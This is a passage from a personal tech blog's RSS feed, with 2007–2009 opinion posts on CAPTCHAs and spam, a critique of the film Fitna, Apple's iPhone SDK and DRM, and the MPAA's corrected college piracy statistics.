<p>With all that said, I'll go back to dealing with the remains. If anyone knows of fun ways to display a motherboard, let me know. I want to honor this build somehow.</p>
<p>Good night, friend.</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2009/03/13/rest-in-pieces-old-friend/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I Failed a Turing Test!</title>
		<link>http://thesnarky.com/2008/10/24/i-failed-a-turing-test/</link>
		<comments>http://thesnarky.com/2008/10/24/i-failed-a-turing-test/#comments</comments>
		<pubDate>Sat, 25 Oct 2008 04:11:01 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Stupidity]]></category>

		<guid isPermaLink="false">http://thesnarky.com/?p=239</guid>
		<description><![CDATA[Ok, the title lies. but I'm cleaning up my desktop, and came across a screenshot from a few days ago. It is a <a href="http://en.wikipedia.org/wiki/CAPTCHA">CAPTCHA</a> that I, for the life of me, could only make sense of as: Six E Pi Pi. So, in this case it worked, right? The human figured out what the letters should be, except as clearly as those are Pi's, Pi is not a letter on my keyboard. I figured I should get a screenshot to show where CAPTCHAs are going:

<a href="http://thesnarky.com/html/pictures/captcha/pi_CAPTCHA.png"><img src="http://thesnarky.com/html/pictures/captcha/pi_CAPTCHA.png" alt="" /></a>

Sadly, CAPTCHAs are a technology we need to combat spam, which accounts for at least <a href="http://www.maawg.org/about/MAAWG20072Q_Metrics_Report.pdf">80%</a> of email today, not to mention message boards, instant messages, or text-messages. However, we're merely engaged in a technology arms race with spammers, this is *not* a technology that is winning any fights, we just try to stay one step ahead. This is increasingly hard with <a href="http://www.getafreelancer.com/projects/Data-Entry/Captcha-Entry-Teams-from-India.html">CAPTCHA entry</a> being a job in countries with lower incomes, spammers cheating by <a href="http://www.boingboing.net/2004/01/27/solving-and-creating.html">offering porn</a> in return for solving a CAPTCHA, and (in a case that doesn't just apply humans) CAPTCHA breaking <a href="http://www.virtualblight.com/articles/?p=96">drives AI research</a>. Basically, no 'new' CAPTCHA technology is going to keep spammers out for long. A bleak future indeed. On the other hand, we already have 80%, how much worse can it get? I think the real answer lies in spam filters, although for the most part those are also in a mere arms race, but at least then you can control your own computer, not just leave the image out there for another human to crack. ]]></description>
			<content:encoded><![CDATA[<p>Ok, the title lies. but I'm cleaning up my desktop, and came across a screenshot from a few days ago. It is a <a href="http://en.wikipedia.org/wiki/CAPTCHA">CAPTCHA</a> that I, for the life of me, could only make sense of as: Six E Pi Pi. So, in this case it worked, right? The human figured out what the letters should be, except as clearly as those are Pi's, Pi is not a letter on my keyboard. I figured I should get a screenshot to show where CAPTCHAs are going:</p>
<p><a href="http://thesnarky.com/html/pictures/captcha/pi_CAPTCHA.png"><img src="http://thesnarky.com/html/pictures/captcha/pi_CAPTCHA.png" alt="" /></a></p>
<p>Sadly, CAPTCHAs are a technology we need to combat spam, which accounts for at least <a href="http://www.maawg.org/about/MAAWG20072Q_Metrics_Report.pdf">80%</a> of email today, not to mention message boards, instant messages, or text-messages. However, we're merely engaged in a technology arms race with spammers, this is *not* a technology that is winning any fights, we just try to stay one step ahead. This is increasingly hard with <a href="http://www.getafreelancer.com/projects/Data-Entry/Captcha-Entry-Teams-from-India.html">CAPTCHA entry</a> being a job in countries with lower incomes, spammers cheating by <a href="http://www.boingboing.net/2004/01/27/solving-and-creating.html">offering porn</a> in return for solving a CAPTCHA, and (in a case that doesn't just apply humans) CAPTCHA breaking <a href="http://www.virtualblight.com/articles/?p=96">drives AI research</a>. Basically, no 'new' CAPTCHA technology is going to keep spammers out for long. A bleak future indeed. On the other hand, we already have 80%, how much worse can it get? I think the real answer lies in spam filters, although for the most part those are also in a mere arms race, but at least then you can control your own computer, not just leave the image out there for another human to crack. </p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2008/10/24/i-failed-a-turing-test/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New LJ Crossposting script</title>
		<link>http://thesnarky.com/2008/09/26/new-lj-crossposting-script/</link>
		<comments>http://thesnarky.com/2008/09/26/new-lj-crossposting-script/#comments</comments>
		<pubDate>Fri, 26 Sep 2008 19:46:19 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://thesnarky.com/?p=228</guid>
		<description><![CDATA[I nabbed a plugin to fix my borked LJ Crossposting script... mine was not behaving nicely. So this is mainly a test to see if/how it works. Test. Test 2... Big Test Now we're testing an edit, and adding in a link to the plugin's home.]]></description>
			<content:encoded><![CDATA[<p>I nabbed a plugin to fix my borked LJ Crossposting script... mine was not behaving nicely. So this is mainly a test to see if/how it works.</p>
<p>Test.</p>
<p>Test 2...</p>
<p><strong>Big Test</strong></p>
<p>Now we're testing an edit, and adding in a link to the <a href="http://lj-xp.com/">plugin's home</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2008/09/26/new-lj-crossposting-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fitna, the failure</title>
		<link>http://thesnarky.com/2008/03/30/fitna-the-failure/</link>
		<comments>http://thesnarky.com/2008/03/30/fitna-the-failure/#comments</comments>
		<pubDate>Sun, 30 Mar 2008 20:15:38 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Arabic]]></category>
		<category><![CDATA[Digital Rights]]></category>
		<category><![CDATA[Real Life Rights]]></category>
		<category><![CDATA[Stupidity]]></category>

		<guid isPermaLink="false">http://thesnarky.com/2008/03/30/fitna-the-failure/</guid>
		<description><![CDATA[This past week saw the release of Geert Wilders' "Fitna". I'd like to quickly say this post is not endorsing that film, the author of it, or any specific religion. I hope, instead, to point out what the film has actually accomplished, and look at the issues surrounding it. I'd also like to point out I fully support all basic human rights, including those of freedom of speech and religion. I won't be giving a link to the video as I don't support it. In addition, those viewing it might be disturbed by a few scenes (beheadings, hangings, close range gun shots) and I don't want my site affiliated with any of that. Read below the cut to see my analysis.

<!--more-->
]]></description>
			<content:encoded><![CDATA[<p>This past week saw the release of <a href="http://en.wikipedia.org/wiki/Geert_Wilders">Geert Wilders</a>' "Fitna". I'd like to quickly say this post is not endorsing that film, the author of it, or any specific religion. I hope, instead, to point out what the film has actually accomplished, and look at the issues surrounding it. I'd also like to point out that I fully support all basic human rights, including those of Freedom of Speech and Religion. I won't be giving a link to the video as I don't support it. In addition, those viewing it might be disturbed by a few scenes (beheadings, hangings, close range gun shots) and I don't want my site affiliated with any of that. Read below the cut to see my analysis.</p>
<p><span id="more-200"></span></p>
<p><b>Background</b><br />
The controversy starts (ok, the immediate controversy in this issue) when the <a href="http://jp.dk/">Jyllands-Posten</a>, a Danish newspaper, published 12 cartoons depicting Muhammad about 2 and a half years ago. They were published when an <a href="http://en.wikipedia.org/wiki/K%C3%A5re_Bluitgen">artist</a> writing about <a href="http://en.wikipedia.org/wiki/Special:BookSources/8763800497">the life of Muhammad and the Qu'ran</a> couldn't find an artist to draw the cover of his book (he would eventually find one who worked anonymously). I'll let the <a href="http://en.wikipedia.org/wiki/Flemming_Rose">cultural editor for the newspaper</a> explain why they were published in his own words (quote taken from wikipedia as the original article has disappeared from the paper's website):</p>
<blockquote><p>The modern, secular society is rejected by some Muslims. They demand a special position, insisting on special consideration of their own religious feelings. It is incompatible with contemporary democracy and freedom of speech, where you must be ready to put up with insults, mockery and ridicule. It is certainly not always attractive and nice to look at, and it does not mean that religious feelings should be made fun of at any price, but that is of minor importance in the present context. [...] we are on our way to a slippery slope where no-one can tell how the self-censorship will end. That is why Morgenavisen Jyllands-Posten has invited members of the Danish editorial cartoonists union to draw Muhammad as they see him. [...]</p></blockquote>
<p>The fallout of article was three Dutch embassies being torched, over 100 deaths during riots in Middle Eastern Countries, and many terrorist leaders calling for his death. More riots broke out a few months ago when the cartoons were republished to show what the controversy was. So the Dutch already have a stigma of "Islamaphobia" hanging over their heads.</p>
<p><b>Geert Wilders/PVV</b><br />
Geert is the author of this film, and a politician in the Dutch House of Representatives, where he is the leader of the <a href="http://www.pvv.nl/">Party for Freedom party</a>. Contrary to the name of the party, this political party doesn't stand for individual freedoms, they stand for freedom from government. Unfortunately that doesn't just mean freedom from such things as socialized health care, they also want to abolish such things as minimum wage. </p>
<p>Of course at the same time of not wanting the government to be involved in individual's lives, they want crackdowns on immigration. Specifically they want to slow down immigration from Middle Eastern Countries. As for Middle Easterners that come to the Netherlands, the PVV wants them to realize that Judeo-Christian culture is predominant, and that the immigrants should adapt. And this from a party with "Freedom" in its name.</p>
<p>Geert himself, is interesting in that he calls himself a "defender of free speech" and "critic of Islam" in almost the same breath. Sure, being a critic fits in nicely with free speech, but his "critique" includes <a href="http://www.radionetherlands.nl/currentaffairs/ned070808mc">banning the Qu'ran</a>. How can any politician who wants freedom of speech for his own writings take away the freedom of religion for 5.5% of his country's population?</p>
<p><b>Fitna, the Movie</b><br />
And so it was that Fitna was born, brainchild of Geert. He hoped (initial rumors indicated) to show the world what was wrong with Islam. No one knew exactly how that would happen (though as the release date got closer, it was previewed by people who leaked the content), and I for one was quite interested. I was hoping for some good research into Shari'a Law and how it was being applied in Europe, as well as studies about extremism and its causes, to name two ideas for good movies.</p>
<p>The movie was supposed to launch around the 22nd/23rd, but Network Solutions (web host for fitnathemovie.com) took the site down hours before Geert was able to post the video. What remained was a small note saying they were investigating the content of the site to make sure it fit into their <a href="http://www.networksolutions.com/legal/aup.jsp">Acceptable Use Policy</a>. The applicable section (in the list of prohibited uses) is as follows, emphasis mine:</p>
<blockquote><p>Transmission, distribution, uploading, posting or storage of any material in violation of any applicable law or regulation is prohibited. This includes, without limitation, material protected by copyright, trademark, trade secret or other intellectual property right used without proper authorization, and material that is obscene, defamatory, libelous, unlawful, <b>harassing</b>, abusive, threatening, harmful, vulgar, constitutes an illegal threat, violates export control laws, <b>hate propaganda</b>, fraudulent material or fraudulent activity, invasive of privacy or publicity rights, profane, indecent or otherwise objectionable material of any kind or nature. You may not transmit, distribute, or store material that contains a virus, "Trojan Horse," corrupted data, or any software or information to promote or utilize software or any of Network Solutions services to deliver unsolicited e-mail. You further agree not to transmit any material that encourages conduct that could constitute a criminal offense, gives rise to civil liability or otherwise violates any applicable local, state, national or international law or regulation. </p></blockquote>
<p>Now, I'm not a lawyer for Network Solutions, nor have I talked to one, but the parts I highlighted are the reasons I assume they're looking into the content. I'm sure they got complaints from Muslims that the site was hosting offensive material, more likely to be 'hate propaganda' than 'harassment'. (The movie also contains copyright violations, see below). Many sites get complaints, and I was quite upset at the time to see Network Solutions cave (hey, if I was posting offensive content, I wouldn't have chosen a US host when ThePirateBay is doing so well overseas) to this pressure thinking that they should take a stand for Freedom of Speech. </p>
<p>That is, until I finally saw the video. <a href="http://liveleak.com">LiveLeak</a> decided to have a backbone (Internet pun not intended) and host the film, with a note on the front page that they weren't endorsing the content, merely Freedom of Speech. I thought this was a good avenue to go down, especially with a mandatory click through agreeing you want to see offensive materials. Anyone who wanted the see what Geert had to say could, and those that might be offended couldn't accidentally stumble across it. (LiveLeak has since taken the movie down after receiving death threats. They apologized for not standing up for Freedom of Speech, but cite their employees well-being as coming first. I wholeheartedly agree).</p>
<p>Unfortunately what Geert had to say was, well, not much. It was somehow researched at a level below that of even a Michael Moore film, and was just as sensationalist, if not more so. The first 7 minutes is publicly available news footage (aka, no new insight) of various terrorist related activities, juxtaposed with 5 verses from the Qu'ran. Everything from Madrid, to September 11, 2001 in slow motion, to a video I originally mistook to be the Pearl beheading, instead it is Eugene Armstrong, another American in Iraq at the time. An extensive breakdown of the film's "plot" can be found <a href="http://en.wikipedia.org/wiki/Fitna_(film)#Plot">here</a>. </p>
<p>My reaction to this first section was two-fold. First off it, unfortunately, drudged up memories and feelings from those attacks which is clearly what it was designed to do. Second, it made me wonder just how dumb the supporters of this movie have to be to base this entire segment on 5 verses. No context is given for any of them, nor actual analysis other than how extremist Muslims have acted. I won't say that these verses are not used to justify terrorism, what I will say is that most Muslims do not view it as a call to terrorism. But to pull five verses, show these atrocities and leave the unspoken link that all Muslims will behave this way is just uncalled for. Its not journalism, and its not activism, its pure stupidity.</p>
<p>The next section is designed to show the 'threat' of Islam, with quotes of Islam taking over the world. Unfortunately for Geert, these quotes come from places we'd expect them, such as Iran's President and well-known anti-Semites. If he had clips of "domestic terror" defendants this section might have a lot more force. </p>
<p>Finally he had a section on Islam and the Netherlands. This was the "best researched" section, in that he pulled from a lot more news sources for his headlines. He attempts to show that if Shari'a Law is introduced into Europe, Gays and Women will lose a lot of rights, honor killings will start and basically all hell will break loose. He makes some decent points here, with the killer of Theo Van Gogh (another guy who made an anti-Islamic film, though his was a lot better) saying he'd kill him again if he could, and mentioning <a href="http://en.wikipedia.org/wiki/Ayaan_Hirsi_Ali">Ayaan Hrisi Ali</a>. Unfortunately I can't speak for the situation of Islam in the Netherlands, so i have no idea if he's embellishing it, or finally presenting an accurate picture.</p>
<p>The closing seconds show a hand on a Qu'ran, then fade to black as you hear a ripping sound. This is controversial as (Muslim's believe) you shouldn't defile the Qu'ran by ripping pages out. Then a message floats up saying that it was actually a phone book, and that it was up to Muslims to rip out the hateful parts of the Qu'ran. This is the one part of the movie I agree with, and I'm not even in completel agreement here. It is on Muslims to get extremism under control, whether that be through the reforms Christianity did (remember, Islam is between the ages of the Crusades and Spanish Inquisition for Christian history) or through more rigorous policing of their imams and religions leaders I don't know. What I disagree with is that they must rewrite the Qu'ran to do so. To rewrite it would be to deny that the Qu'ran (as it is now) is the word of Allah, and introduce more "<a href="http://en.wikipedia.org/wiki/Satanic_verses">Satanic Verses</a>". Instead, they should look at other meanings of jihad, meaning "To strive for", and listen to the moderates that have fled the Middle East. </p>
<p><b>Fallout</b><br />
I actually had to stumble across a link to the movie the night it was released, because there was relatively no fallout. There was more news on Network Solutions taking down his other site than there was about Fitna coming out. I'll always remember a headline I saw the next day: "Dozens protest in Pakistan over Movie." Yes, you read that right, dozens, not hundreds, not thousands, dozens. And not a single death. In other words, Geert has failed to do what I think his goal was, incite more violence to convince the Netherlands Islam needs to be dealt with. If mobs had crowded the street, or if he'd been killed, his party could further its agenda and work towards banning the Qu'ran, but nothing happened. Muslims went to their prayers on Friday peacefully, realizing that to do anything violent would be playing into Geert's hands. Of course, there has been more protests since then in the Middle East and the Netherlands, and the Dutch Envoy in Iran has been summoned to speak for what happened, but even before the movie was release the Dutch government was smart and condemned the movie. While they weren't going to censor Free Speech, they were going to make sure that Muslims understand this is the work of one man, not a country, and not a nationality. Oh, if only Geert understood the same for extremists, that they don't speak for their religion or nationality as a whole. </p>
<p>As for additional fallout from the movie, Geert is being sued by Kurt Westergaard, the author of the cartoon depicting Muhammad in a turban with a bomb, for using the cartoon without his permission, a violation of copyright. He also might be sued by Salah Edin, an Arab rapper who Geert mistook for the killer of Van Gogh, Muhammad Bouyeri. </p>
<p>And, ironically, Omar Bakri, an Islamic extremist, actually liked the film, saying that if you removed the drawin of Muhammad with a bomb, it could be used as an Al-Qaida recruitment video. Geert's desire to show the horror of Islam might actually be used to recruit for Jihad, a fact which further supports my claim that he only released it to incite more attacks.</p>
<p><b>Conclusion</b><br />
In the end, I support Geert's right to Free Speech. I applaud him for the bravery to stand up for what he believes in, even in the face of death threats, and I wish him well. However I think this movie is nothing more than sensationalist drivel, aimed at provoking more violence in the same way that Ann Coulter and Michael Moore throw barbs back and forth in our country. The only difference is that Moore targeted McDonald's and Geert singled out a religion with at least 1.1 billion followers (of which on 20% are in 'Arab' countries where most of the extremism is found). To release such a video that is entirely negative and clearly designed to provoke violence is reckless and wrong. </p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2008/03/30/fitna-the-failure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Rotten Apple</title>
		<link>http://thesnarky.com/2008/03/06/a-rotten-apple/</link>
		<comments>http://thesnarky.com/2008/03/06/a-rotten-apple/#comments</comments>
		<pubDate>Fri, 07 Mar 2008 04:07:15 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Digital Rights]]></category>

		<guid isPermaLink="false">http://thesnarky.com/2008/03/06/a-rotten-apple/</guid>
		<description><![CDATA[I've finally figured out what it is that sets me on edge regarding Apple. For as long as I can remember there's been this little nagging inside of me that, hey, there's just something not right about this company. I'll preface this with the fact that I'm not an Apple person, though I have used Macs and will probably own one within the next year (need something small and portable for coding). I'm also not completely up to date on everything Apple's been doing, just the really big news items. 

Anyway, I finally figured out that its all about control. We all want control of our lives, of our money, of ourselves, and that's natural. But Apple wants complete control over their products, even after you buy them, and that's wrong. What am I referring to? The "<a href="http://www.news.com/8301-13579_3-9888230-37.html?tag=newsmap">awesome</a>" <a href="http://www.nytimes.com/2008/03/07/technology/07apple.html">press</a> <a href="http://afp.google.com/article/ALeqM5jXtDYIkQSIsC1cDOoCWn6zksY85Q">conference</a> today where Steve Jobs unveiled the iPhone <a href="http://developer.apple.com/iphone/">SDK plan</a>.

Quick recap of the plan: Developers pay $99 a year (or more for an enterprise license) to use the SDK. Once they have something, it must be distributed through the Apple App Store. To get into the App Store, each must be vetted by Apple to make sure it conforms to their policies.

Now you know my feelings on DRM. I hate it. If I buy something, I expect the rights to do with it as I please. <a href="http://www.apple.com/hotnews/thoughtsonmusic/">Steve Jobs feels the same way</a>, or so he says. I've long argued that he doesn't really mean that, but now I kind of think he does. See he specifically says DRM on music is wrong. He also points out that they don't own the music anyway, so they can't control it. What Steve Jobs wants is for everything Apple owns to be DRM'd and everything else to be free! Don't believe me? 

 - Apple computers (I'm talking 90's era when America and the world were getting in good with computers) were sealed with Torx screws. So what? Well at the time, and still, an average human being has no clue what that is (they've never had to crack an XBox to mod it) nor do they have Torx screw drivers to open it. 

 - FairPlay, the DRM created by Apple, is supposed to be a good system. Yet Steve Jobs, in the article I quoted earlier, claims that to release it worldwide would be to have someone reverse engineer it, and break it. Clearly a few things are going on here. First off they're banking on some form of security by obscurity which any good security professional would laugh at. Second they're betting that people can't break FairPlay if they don't have the source, which is wrong also. And third they're trying to protect their handy little algorithm from the rest of the world. Why was iTunes never released on Linux when it originated on the Mac (a Unix core)? My guess is because Apple is afraid someone would reverse engineer it and they had to protect their secrets.

 - The iPhone. Gosh, where to start. Sell a locked phone, on only one network, that you get kickbacks from... Why not allow any service to use it? (I've heard from an Apple employee its because some services need specialized packages by the provider. That's all fine, but its not that other networks were given the chance to implement those packages, its that the phone was locked, period). 

 - This SDK. Now, its not uncommon to pay to use someone's SDK. I've got no problem with that, you spend money to make money as my brother just pointed out. My problem comes with the fact that they have to go through the app store. I'm sure this is done in the name of "security", 'cause iTunes has never been infected before. <a href="http://digg.com/security/New_virus_targets_iTunes_users">Oh wait, it has</a>. Why can't an independant coder such as myself offer a download from his mobile phone equipped website? Why must I use their store? (Oh, and you can post free apps, at least they're not forcing you to charge).

 - The store. The reason you have to go through the store is so Apple can vette your product, and make sure you're not bypassing their locks! What a wonderful little software depot they run here, so long as all the developers drink the Koolade. I can understand trying to make sure people don't get past a few boundaries, they point out VoIP over the cellular network to get past minutes plans. I'd like to point out my cheap little Razr can do that to bypass the minutes plans (a quick google search turned up <a href="http://blog.tmcnet.com/blog/tom-keating/skype/voip-on-treo-650-and-motorola-rokr-slvr-and-razr.asp">this link</a>, but I remember thinking about setting up my desktop to handle calls last summer from a website I was reading at the time, so I know there's more home-grown solutions).Oh yea, and the store takes a 30% cut.

How does any of the above not point to Apple controlling its products? Sure, companies do that, they control their products. But few companies give me such a shiver when I hear of each new ploy than Apple does.  And the worst part is, all the coverage I've seen of this plan has been good, not a single piece has questioned Apples need to vette every developer's contribution, or for them to take 30% for doing nothing.

For once, and I shudder to say this, I have to like <a href="http://developers.facebook.com/">Facebook's model</a> better. Put the API out there, let the public go crazy, and keep it free! You get just as much content, you get a much wider variety (unlike the few whack biscuits I saw who said this would "spur creativity" within the iPhone community), and you get community interaction. What's more to love? With this plan you'll get the people who planned on writing for the iPhone anyways, along with businesses who just want to replace their Blackberries. Of course, those are the people who wouldn't try to do something shocking and free with their phone, so maybe that's why Apple wants only them. Forget the hackers that might do something cool, lets go the safe and greedy route.

So here's to you Steve Jobs! If you truly believed what you said in your article on music, you'd think twice about this plan. Every year Apple turns more and more into <a href="http://youtube.com/watch?v=OYecfV3ubP8">what they always thought they were fighting</a>, the mindless overlords bent on controlling their populace. ]]></description>
			<content:encoded><![CDATA[<p>I've finally figured out what it is that sets me on edge regarding Apple. For as long as I can remember there's been this little nagging inside of me that, hey, there's just something not right about this company. I'll preface this with the fact that I'm not an Apple person, though I have used Macs and will probably own one within the next year (need something small and portable for coding). I'm also not completely up to date on everything Apple's been doing, just the really big news items. </p>
<p>Anyway, I finally figured out that its all about control. We all want control of our lives, of our money, of ourselves, and that's natural. But Apple wants complete control over their products, even after you buy them, and that's wrong. What am I referring to? The "<a href="http://www.news.com/8301-13579_3-9888230-37.html?tag=newsmap">awesome</a>" <a href="http://www.nytimes.com/2008/03/07/technology/07apple.html">press</a> <a href="http://afp.google.com/article/ALeqM5jXtDYIkQSIsC1cDOoCWn6zksY85Q">conference</a> today where Steve Jobs unveiled the iPhone <a href="http://developer.apple.com/iphone/">SDK plan</a>.</p>
<p>Quick recap of the plan: Developers pay $99 a year (or more for an enterprise license) to use the SDK. Once they have something, it must be distributed through the Apple App Store. To get into the App Store, each must be vetted by Apple to make sure it conforms to their policies.</p>
<p>Now you know my feelings on DRM. I hate it. If I buy something, I expect the rights to do with it as I please. <a href="http://www.apple.com/hotnews/thoughtsonmusic/">Steve Jobs feels the same way</a>, or so he says. I've long argued that he doesn't really mean that, but now I kind of think he does. See he specifically says DRM on music is wrong. He also points out that they don't own the music anyway, so they can't control it. What Steve Jobs wants is for everything Apple owns to be DRM'd and everything else to be free! Don't believe me? </p>
<p> - Apple computers (I'm talking 90's era when America and the world were getting in good with computers) were sealed with Torx screws. So what? Well at the time, and still, an average human being has no clue what that is (they've never had to crack an XBox to mod it) nor do they have Torx screw drivers to open it. </p>
<p> - FairPlay, the DRM created by Apple, is supposed to be a good system. Yet Steve Jobs, in the article I quoted earlier, claims that to release it worldwide would be to have someone reverse engineer it, and break it. Clearly a few things are going on here. First off they're banking on some form of security by obscurity which any good security professional would laugh at. Second they're betting that people can't break FairPlay if they don't have the source, which is wrong also. And third they're trying to protect their handy little algorithm from the rest of the world. Why was iTunes never released on Linux when it originated on the Mac (a Unix core)? My guess is because Apple is afraid someone would reverse engineer it and they had to protect their secrets.</p>
<p> - The iPhone. Gosh, where to start. Sell a locked phone, on only one network, that you get kickbacks from... Why not allow any service to use it? (I've heard from an Apple employee its because some services need specialized packages by the provider. That's all fine, but its not that other networks were given the chance to implement those packages, its that the phone was locked, period). </p>
<p> - This SDK. Now, its not uncommon to pay to use someone's SDK. I've got no problem with that, you spend money to make money as my brother just pointed out. My problem comes with the fact that they have to go through the app store. I'm sure this is done in the name of "security", 'cause iTunes has never been infected before. <a href="http://digg.com/security/New_virus_targets_iTunes_users">Oh wait, it has</a>. Why can't an independant coder such as myself offer a download from his mobile phone equipped website? Why must I use their store? (Oh, and you can post free apps, at least they're not forcing you to charge).</p>
<p> - The store. The reason you have to go through the store is so Apple can vette your product, and make sure you're not bypassing their locks! What a wonderful little software depot they run here, so long as all the developers drink the Koolade. I can understand trying to make sure people don't get past a few boundaries, they point out VoIP over the cellular network to get past minutes plans. I'd like to point out my cheap little Razr can do that to bypass the minutes plans (a quick google search turned up <a href="http://blog.tmcnet.com/blog/tom-keating/skype/voip-on-treo-650-and-motorola-rokr-slvr-and-razr.asp">this link</a>, but I remember thinking about setting up my desktop to handle calls last summer from a website I was reading at the time, so I know there's more home-grown solutions).Oh yea, and the store takes a 30% cut.</p>
<p>How does any of the above not point to Apple controlling its products? Sure, companies do that, they control their products. But few companies give me such a shiver when I hear of each new ploy than Apple does.  And the worst part is, all the coverage I've seen of this plan has been good, not a single piece has questioned Apples need to vette every developer's contribution, or for them to take 30% for doing nothing.</p>
<p>For once, and I shudder to say this, I have to like <a href="http://developers.facebook.com/">Facebook's model</a> better. Put the API out there, let the public go crazy, and keep it free! You get just as much content, you get a much wider variety (unlike the few whack biscuits I saw who said this would "spur creativity" within the iPhone community), and you get community interaction. What's more to love? With this plan you'll get the people who planned on writing for the iPhone anyways, along with businesses who just want to replace their Blackberries. Of course, those are the people who wouldn't try to do something shocking and free with their phone, so maybe that's why Apple wants only them. Forget the hackers that might do something cool, lets go the safe and greedy route.</p>
<p>So here's to you Steve Jobs! If you truly believed what you said in your article on music, you'd think twice about this plan. Every year Apple turns more and more into <a href="http://youtube.com/watch?v=OYecfV3ubP8">what they always thought they were fighting</a>, the mindless overlords bent on controlling their populace. </p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2008/03/06/a-rotten-apple/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Digital Equipment Malfunction</title>
		<link>http://thesnarky.com/2008/01/27/digital-equipment-malfunction/</link>
		<comments>http://thesnarky.com/2008/01/27/digital-equipment-malfunction/#comments</comments>
		<pubDate>Mon, 28 Jan 2008 00:19:39 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Digital Rights]]></category>
		<category><![CDATA[Real Life Rights]]></category>

		<guid isPermaLink="false">http://thesnarky.com/2008/01/27/digital-equipment-malfunction/</guid>
		<description><![CDATA[I've neglected this blog lately not due to lack of programming, but because I'm only coding on projects that I've already discussed on here. I had planned to do a mundane post about new features on the DungeonRunner character viewer, but then I stumbled across some stories that work well together.

Remember the 'equipment malfunction' during the Super Bowl a few years back? How it was a severe understatement, as well as a stupid excuse for a dumb plan? The MPAA (Motion Picture Association of America) has just made a digital version. They traditionally blame college students for all manner of atrocities, everything from wanting to watch legal DVDs on their Linux machine to downloading movies. A wee bit ago they announced shocking statistics that proved college students were responsible for 40% of all illegal movies downloaded. This led to a campaign of terror at many big-name schools, as well as lobbying to force Congress to add in stipulations for cracking down on file sharing in new higher education funding. It turns out, they were wrong. Taken from their statement:]]></description>
			<content:encoded><![CDATA[<p>I've neglected this blog lately not due to lack of programming, but because I'm only coding on projects that I've already discussed on here. I had planned to do a mundane post about new features on the DungeonRunner character viewer, but then I stumbled across some stories that work well together.</p>
<p>Remember the 'equipment malfunction' during the Super Bowl a few years back? How it was a severe understatement, as well as a stupid excuse for a dumb plan? The MPAA (Motion Picture Association of America) has just made a digital version. They traditionally blame college students for all manner of atrocities, everything from wanting to watch legal DVDs on their Linux machine to downloading movies. A wee bit ago (2005) they announced shocking statistics that proved college students were responsible for 40% of all illegal movies downloaded. This led to a campaign of terror at many big-name schools, as well as lobbying to force Congress to add in stipulations for cracking down on file sharing in new higher education funding. It turns out, they were wrong. Taken from their <a href="http://mpaa.org/press_releases/lek%20college%20student%20data_f.pdf">statement</a>:</p>
<p><quote>While in the process of recently updating that study with current data, we discovered there<br />
had been an isolated error in the LEK process two years ago that resulted in an inflated<br />
number for piracy by college students. The 2005 study had incorrectly concluded that 44<br />
percent of the motion picture industry’s domestic losses were attributable to piracy by<br />
college students. The 2007 study will report that number to be approximately 15 percent...<br />
</quote></p>
<p>That's right, they had a little math error, and inflated the number by 3 times its value. That's a nice sized oops. Of course they're very apologetic, but that doesn't really change the fact that after the 2005 study MPAA increased its lobbying in Congress to punish college students. This increase resulted in two bills now going before Congress, the College Opportunity and Affordability Act of 2007, which will require schools to crack down on filesharing or lose all federal financial aid, and the Prioritizing Resources and Organization for Intellectual Property, which will increase fines and create a new federal agency devoted to tracking down 'large-scale' infringers. Thankfully both of these bills haven't been passed yet, there's still time to call your representatives and tell them to vote it down! Do you want your kid's college losing financial aid because they haven't devoted enough resources to tracking down music downloaders instead of teaching your kid? Do we really need a new Agency (your tax dollars at work!) to protect the money of MPAA or RIAA?</p>
<p>There is an upside to all this, believe it or not. Amazon is releasing its MP3 service now. It sells MP3's (no issues with having to change format for iTunes, Windows Media Player, or any other player) that are DRM free! Plus it has songs from the four big labels, the first DRM free site to do so. And, though it may vary by song, the songs are cheaper than Apple's DRM'd music (I saw hot new singles at 89 cents each). This is a huge win win situation. Not only are the songs relevant (3.3 million and counting), and cheap, but DRM free and supported by a major company! I'll be supporting this site for sure, if more people use Amazon as opposed to your other favorite (lets say iTunes, remembering that all Amazon songs can be put into your iTunes library as well) hopefully the industry will get the idea that DRM is bad.</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2008/01/27/digital-equipment-malfunction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dungeon Runners Website on Linux</title>
		<link>http://thesnarky.com/2007/12/23/dungeon-runners-website-on-linux/</link>
		<comments>http://thesnarky.com/2007/12/23/dungeon-runners-website-on-linux/#comments</comments>
		<pubDate>Sun, 23 Dec 2007 21:53:54 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Games]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://thesnarky.com/2007/12/23/dungeon-runners-website-on-linux/</guid>
